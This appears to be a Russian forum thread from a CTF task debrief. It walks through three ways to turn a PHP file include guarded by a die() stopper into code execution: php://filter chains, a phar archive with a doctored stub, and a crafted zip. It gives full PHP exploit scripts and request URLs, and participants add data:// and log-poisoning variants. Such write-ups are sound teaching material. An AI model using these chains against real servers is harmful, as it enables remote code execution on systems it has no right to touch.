Прохождение. Первый способ - враппер php://. Заходим login: password = 1:1 и смотрим, есть инклюд файла, в который можем писать произвольную информацию. Нужно обойти одно ограничение (стоппер die() в начале файла) и соблюсти одно условие (в параметр page должны подстрокой войти "login.php" или "view.php"). Если последовать подсказке о статье в "Хакере" и набрать в поиске "хакер врапперы", то в топе видим две статьи, обе полезные, а в https://xakep.ru/2012/11/22/php-filter-wrapper-attacks/ прямо конкретное решение расписано. Смысл такой, нужно фильтром испортить код стоппера, или вырезать его совсем, а полезную начинку декодировать в валидный код для инклюда. Например: Энкодим base64_encode('<?php phpinfo();?>'); и полученную строку Code: PD9waHAgcGhwaW5mbygpOz8+ отсылаем прям через форму отправки исследуемых скриптов. При вызове используем два фильтра, strip_tags вырежет стоппер, а base64-decode восстановит код нашей начинки. "login.php" или "view.php" можно добавить в запрос одним из следующих способов: Code: index.php?page=php://filter/login.php/read=string.strip_tags|convert.base64-decode/resource=db/info.php index.php?page=php://filter/read=login.php/string.strip_tags|convert.base64-decode/resource=db/info.php index.php?page=php://filter/read=login.php|string.strip_tags|convert.base64-decode/resource=db/info.php Без strip_tags код тоже выполнится, просто будет мусор от испорченного стоппера. Аналогичные преобразования можно делать с фильтрами quoted-printable или rot13. Второй способ основан на использовании архивов phar. Доступ к файлам в архиве через враппер phar://, осуществляется без необходимости распаковки. Юзаем следующую особенность, если обращаться к архиву через вызов phar://script_name.php/path_to_file, то stub (это некоторый php код в начале архива, нужный для инициализации класса работы с архивом phar) не вызывется и мы можем поместить туда наш стоппер. Он станет частью архива, но при вызове не будет интерпретироваться. Содержимое архива воспринимается, как продолжение файловой системы, сформируем файл login.php с нужной нам начинкой, <?php phpinfo();?>. Единственное препятствие, архив защищен от модификации напрямую - контролем целостности, поэтому если его просто подать на вход view.php, в начало архива допишется "<?php die('Access denied'); ?>\n" и получим ошибку "SHA1 signature could not be verified:". Обходим просто, готовим архив с добавлением этой вставки в начало, а перед отправкой отрежем ее. Скрипт view.php ее снова добавит и архив восстановит свою целостность. Code: Вызываем http://task.antichat.com:10007/index.php?page=phar://db/info.php/view.php Code: <?php $evil_code='<?php phpinfo();?>'; $stopper="<?php die('Access denied'); ?>\n"; $local_path_to_archive="/tmp/in.phar"; $url_to_exploit="http://task.antichat.com:10007/index.php?page=view.php"; $url_to_get_result="http://task.antichat.com:10007/index.php?page=phar://db/info.php/view.php"; @unlink($local_path_to_archive); $p = new Phar($local_path_to_archive); $p->setStub($stopper."<?php Phar::mapPhar();__HALT_COMPILER(); ?>"); $p['view.php'] = $evil_code; $a=implode(array_slice(file($local_path_to_archive), 1)); if( $curl = curl_init() ) { curl_setopt($curl, CURLOPT_URL, $url_to_exploit); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, array( 'data' => $a, 'Save' => 'Save' )); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); $out = curl_exec($curl); curl_close($curl); $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $url_to_get_result); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); $out = curl_exec($curl); echo $out; curl_close($curl); } else echo "Curl not installed"; Третий способ - архив zip. В зипе нет никакого стаба, поэтому исследуем и ищем другой способ вставить стоппер. Тестим и приходим к выводу, Архивы zip могут быть приготовлены разными способами и содержать разную начинку, не теряя функциональности. В имени файла можно использовать и проблемные символы, в т.ч. и слеш. Стоппер можно сформировать в одном месте архива, а потом перенести в другое, при этом целостность архива проверяется по размеру, а не по содержимому. Code: <?php $url_to_exploit="http://task.antichat.com:10007/index.php?page=view.php"; $url_to_get_result="http://task.antichat.com:10007/index.php?page=zip:///var/www/html/db/info.php%23/tmp/view.php"; $p=getshell(); if( $curl = curl_init() ) { curl_setopt($curl, CURLOPT_URL, $url_to_exploit); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, array( 'data' => $p, 'Save' => 'Save' )); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); $out = curl_exec($curl); curl_close($curl); $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $url_to_get_result); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); $out = curl_exec($curl); echo $out; curl_close($curl); } else echo "Curl not installed"; function getshell(){ $evil_code='<?php phpinfo();?>'; $header="<?php die('Access denied'); ?>\n"; $local_path_to_archive="/tmp/test.zip"; $inc_file="/tmp/test.php"; @unlink($local_path_to_archive); file_put_contents($inc_file,$evil_code); $zip = new ZipArchive(); if ($zip->open($local_path_to_archive, ZIPARCHIVE::CREATE)!==TRUE) { exit("could not open file $local_path_to_archive\n"); } $zip->addFromString($header,""); $zip->addFile($inc_file,"/tmp/view.php"); $zip->close(); @unlink($inc_file); $r=preg_replace("/<\/?.*?>\n/si", "", file_get_contents($local_path_to_archive),1); return $r; } Читерский способ, готовим архив phar с нужной вставкой и конвертируем его в zip Code: $zip = $p->convertToData(Phar::ZIP); Spoiler: Прохождения участников: По факту - справились с заданием, это очень хорошо. Трое прошли полностью. =HALK= прошел без подсказок и, скорее всего, без особого напряга. Gorbachev хорош тем, что справляется с заданиями, планка которых чуть выше его привычных дел. Почитал, потестил, сделал - мое уважение. Раrаdох удивил подробным райтапом, не знаю где он работает, видимо часто приходится делать отчеты. Единственно, не согласен с "метод работает благодаря особенностям помехоустойчивого кодирования zip-архивов". Там даже crc нет, контролируется только размер. Вообще, все молодцы! Даже те, кто не прислал решение, потыкали, поюзали поиск, посмотрели решения - все равно польза. И да, тема не уместилась в одно задание, будет продолжение, на более свежем примере.
Рад что на этот раз было время поучаствовать в таске. Всё понравилось, особенно с zip. Спасибо ребятам кто готовил задание
не заслужил. Если честно, то даже не смотрел таск, что-то руки не дошли. Да и вряд ли все 3 метода сделал бы. С зипом- Это первое что пришло в голову.На рутми вроде был похожий таск. п.с. даже если бы решил, то я прошу не разглашать это.
+ варианты сферических коней Code: allow_url_include = On http://task7/index.php?page=data:text/html;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==login.php Code: curl 'http://task7/?<?=phpinfo();?>' http://task7/?page=php://filter/login.php/resource=/var/logs/nginx/task7.access.log
Вообще по красоте исполнил. А враппер compress.zlib:// кто нибудь интересно осилил? У меня бензобак уже на первом враппере закончился, так как ковырял варианты без врапперов. С phar по моим ощущениям было полегче, чем с php, ну а ZIP это не мой уровень, я до объявления результатов так и не понял, в чем фишка, вывозил уже на морально-волевых, на характере зарешал.
Тем не менее, использовать штатную возможность восстановления поврежденных архивов - хорошая находка, достаточно технологично. Не нужно навыков программирования, руки-то вот они, запаковал нужные файлы, грубо добавил в начало текст стоппера и указал архиватору ключ починить архив - фсё, имеем валидный zip-архив с нужным префиксом.